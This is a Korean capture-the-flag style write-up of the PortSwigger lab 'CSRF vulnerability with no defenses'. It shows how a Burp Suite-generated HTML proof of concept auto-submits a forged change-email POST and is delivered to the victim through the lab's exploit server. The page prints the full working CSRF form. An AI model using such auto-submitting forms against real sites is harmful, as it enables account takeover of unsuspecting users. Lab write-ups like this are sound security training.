WEB hacking/PortSwigger

Lab: CSRF vulnerability with no defenses 문제 풀이(WriteUp)

Roronoa 2025. 6. 7. 00:23
반응형

문제 설명

CSRF를 이용하여 email을 변경하면 되는 문제이다.

문제 설명

 

문제 풀이

로그인 후 My Account 페이지에서 email을 변경할 수 있다.

My Account 페이지

 

email 파라미터에 다른 email으로 설정한 후 burp suite pro에서 우클릭 > Engagement tools > Generate CSRF POC 버튼을 클릭한다.

CSRF POC

 

CSRF POC가 html 형식으로 생성되며 Test in browser로 테스트가 가능하다.

CSRF POC

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a740049039866ad81e17a5a00cd00fb.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="wiener2&#64;normal&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

 

 

Go to exploit server에 접근한 후 CSRF POC 코드를 삽입하고 Deliver exploit to victim 버튼을 클릭한다.

CSRF POC 전송

 

CSRF POC를 전송하면 문제가 해결되었다는 화면이 나온다.

문제 해결

반응형